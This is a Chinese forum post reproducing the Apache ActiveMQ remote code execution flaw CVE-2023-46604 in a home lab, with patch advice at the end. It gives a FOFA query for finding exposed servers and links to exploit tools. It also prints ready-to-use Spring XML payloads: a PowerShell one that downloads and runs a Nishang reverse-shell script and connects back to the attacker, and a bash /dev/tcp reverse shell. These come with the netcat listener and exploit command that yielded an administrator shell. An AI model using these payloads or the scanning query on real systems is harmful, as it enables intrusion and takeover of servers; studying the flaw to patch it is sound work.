论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
朋友圈
看朋友圈动态,了解ToB世界。
ToB门户
了解全球最新的ToB事件
博客
Blog
排行榜
Ranklist
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
导读
Guide
相册
Album
记录
Doing
搜索
本版
文章
帖子
ToB圈子
用户
免费入驻
产品入驻
解决方案入驻
公司入驻
案例入驻
登录
·
注册
只需一步,快速开始
账号登录
立即注册
找回密码
用户名
Email
自动登录
找回密码
密码
登录
立即注册
首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
圈子
SAAS
IT评测·应用市场-qidao123.com技术社区
»
论坛
›
软件与程序人生
›
DevOps与敏捷开发
›
【Apache ActiveMQ 远程代码实行漏洞复现(CVE-2023-4660 ...
【Apache ActiveMQ 远程代码实行漏洞复现(CVE-2023-46604)】
八卦阵
论坛元老
|
2024-9-29 08:36:35
|
显示全部楼层
|
阅读模式
楼主
主题
1509
|
帖子
1509
|
积分
4527
马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。
您需要
登录
才可以下载或查看,没有账号?
立即注册
x
文章目次
前言
一、漏洞名称
二、漏洞形貌
三、受影响端口
四、受影响版本
五、FOFA语法
六、本地复现
1、环境搭建
2、exp工具复现
七、修复发起
前言
近期在漏洞扫描时发现服务器存在CVE-2023-46604漏洞,故做一下漏洞复现记载。
一、漏洞名称
Apache ActiveMQ 远程代码实行漏洞
二、漏洞形貌
Apache ActiveMQ 中存在远程代码实行漏洞,具有 Apache ActiveMQ 服务器TCP端口(默以为61616)访问权限的远程攻击者可以通过发送恶意数据到服务器从而实行恣意代码。
三、受影响端口
61616
四、受影响版本
Apache ActiveMQ < 5.18.3
Apache ActiveMQ < 5.17.6
Apache ActiveMQ < 5.16.7
Apache ActiveMQ < 5.15.16
五、FOFA语法
app="APACHE-ActiveMQ" && port="61616"
复制代码
六、本地复现
1、环境搭建
本地环境采用的是kali+win10体系做复现,漏洞环境安装摆设在win10中。
ActiveMQ版本:5.17.4,Java环境为jdk11,需提前安装好。
win10 IP:192.168.78.174
kali IP: 192.168.78.128
下载好ActiveMQ后修改配置文件
进入bin目次下选择win64目次下的bat文件开启运行
可访问即可,默认账户暗码:admin/admin
2、exp工具复现
工具地址:
https://github.com/sincere9/Apache-ActiveMQ-RCE/tree/main/exp
https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ
个人感觉下面这个好用点,我这里用下面这个吧
上面这个工具使用可参考这个博客:Apache ActiveMQ 远程代码实行漏洞复现(CNVD-2023-69477)-CSDN博客
工具下载好后利用很简朴,首先准备好poc.xml
poc-dnslog
<?xml version="1.0" encoding="utf-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>ping</value>
<value>xxx.xxx.xxx.cn</value>
</list>
</constructor-arg>
</bean>
</beans>
复制代码
poc-win
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>powershell</value>
<value>-c</value>
<value><![CDATA[IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.78.128 -Port 3333]]></value>
</list>
</constructor-arg>
</bean>
</beans>
复制代码
poc-linux
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/端口 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
复制代码
这里目标主机为windows体系,采用对应的poc,固然poc是根据环境决定,可随意改
在poc目次开启http服务,可正常访问即可
python3 -m http.server 8000
复制代码
在kali监听端口
nc -lvvp 3333
复制代码
在本机运行exp工具
activemq-rce -i 192.168.78.174 -u http://192.168.78.128:8000/poc.xml
复制代码
检察监听端口,可看到shell乐成反弹,而且为管理员权限
复现乐成
实际环境反弹须借助vps公网IP,操作方法类似,做好端口映射,发布http服务即可。
注:无授权不要随意使用实际环境复现,最好是本地,本文仅作技能交流,任何非授权行为均与本文无关。
七、修复发起
发起更新到安全版本
Apache ActiveMQ >= 5.18.3
Apache ActiveMQ >= 5.17.6
Apache ActiveMQ >= 5.16.7
Apache ActiveMQ >= 5.15.16
复制代码
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复
使用道具
举报
0 个回复
倒序浏览
返回列表
快速回复
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
or
立即注册
本版积分规则
发表回复
回帖并转播
回帖后跳转到最后一页
发新帖
回复
八卦阵
论坛元老
这个人很懒什么都没写!
楼主热帖
不可思议但又无处不在的漏洞,WEB安全 ...
【历史上的今天】6 月 2 日:苹果推出 ...
C#实现HTTP访问类HttpHelper
开源共建 | Dinky 扩展批流统一数据集 ...
企业应用超融合架构的设计实例及超融合 ...
袋鼠云春季生长大会圆满落幕,带来数实 ...
大规模 IoT 边缘容器集群管理的几种架 ...
ClickHouse 查询优化详细介绍
重磅硬核 | 一文聊透对象在 JVM 中的内 ...
【软考】系统集成项目管理工程师(二) ...
标签云
AI
运维
CIO
存储
服务器
快速回复
返回顶部
返回列表